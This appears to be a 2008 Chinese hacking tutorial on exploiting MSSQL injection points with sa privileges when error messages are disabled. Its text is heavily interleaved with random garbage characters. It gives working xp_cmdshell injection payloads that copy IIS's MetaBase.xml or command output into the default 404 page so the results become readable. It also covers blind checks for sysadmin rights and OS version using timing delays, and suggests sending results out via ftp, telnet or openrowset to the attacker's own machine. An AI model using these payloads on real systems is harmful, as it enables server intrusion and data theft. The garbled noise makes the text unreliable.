遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
9 I' x. ?7 I0 ^6 z. }% V
" u' p- |+ t! Q! o \7 v6 e6 _ 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。5 U2 p* N3 _0 a2 _5 ]9 m
x1 O( }7 S3 \ 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。/ U4 t9 m# z, c5 }8 s" D
! r8 w7 o+ M3 p6 @- |, K4 p" u
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
: o: v( J+ f& I
: b8 U/ U; e2 I* ~+ C 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--# c& g: w) v* m; ^
( s- _( k1 G# }+ n m, `5 u1 R1 o2 i ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
( d5 w8 [- g/ j Q2 G# A9 _) k% X. c" z
% X$ ?3 d& M9 q. X0 H) | 执行命令得到回显6 g; d1 \. Z5 X! ~, P9 }& K
. g4 |$ s4 @4 T; `6 L) g 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--1 e8 ?8 k8 Z) S; ?
9 i0 {1 L3 a- U0 V" ]! C; Z 得到文件也shi相同,把文件copy到404b.htm就行了
8 |$ @ }: ?) B4 A' I+ Q$ H- C$ R0 L; d8 q. x$ B
by 28ice, 2008/6/26
2 o! w5 y! v9 [# U3 b! A# L2 M3 u
摘自 28度的冰% [" c3 o" R5 y7 }
/ u2 S! {8 {: `4 m
盲注判断权限和操作系统版本( _& l0 p( s1 x8 P# K
4 ^# T, b8 T* L# i$ N0 K, S% C6 X; q8 p2 l
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
- w0 H: g* V& w. P
! m( F+ M0 d' h1 Z6 d, X8 m; @ 最简单的,可能以用这样的方法:
/ `2 b) G' O m7 v" t2 \# c1 u$ r, U2 o v+ c Z+ E
1=(select IS_SRVROLEMEMBER(’sysadmin’)) ]4 a( V6 ?- A5 ]; [
! K7 h0 C8 q2 J+ o
当然,有些情况下,这个方法并不奏效。
* h; m g7 O9 w0 Z0 u: t- z" t, {% q, X/ L% C' n6 W7 p
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
# D8 v2 x4 Q- Y2 D
( t) t+ l/ o+ e2 y7 e8 f 有个3办法可能以解决这个问题
! K% X8 C' z0 _0 x, v: |, ]' Z# q- v
a.把执行结果写到404b.htm,具体请看我的上一篇文章) G( P% q, G, L" X
6 A! n0 T/ J ]$ y% ]( P4 r, l
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟5 F0 u/ F4 B4 f# C/ p7 S
' \* C0 A2 ?/ i }- h: @0 J
c.如果1433端口可能以连接,那干脆新建个sql登录% k, t" U6 e. ^
1 I3 t3 b# W: L d
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数' l" y/ S9 J, X2 }8 e' r
4 m& o/ I# d4 r$ L 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
+ B. G2 {& |8 H! ^: g0 y
i% j( D. k V2 c) \ 很简单
2 L+ a; m2 z: K4 L
- M) i) \ r" D" E) P* `4 Y7 _6 z 执行systeminfo
; M( T: l, G9 S9 m* G) p- o1 x+ a
9 \3 w- X2 Y3 w/ T$ ?- |1 q, S 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |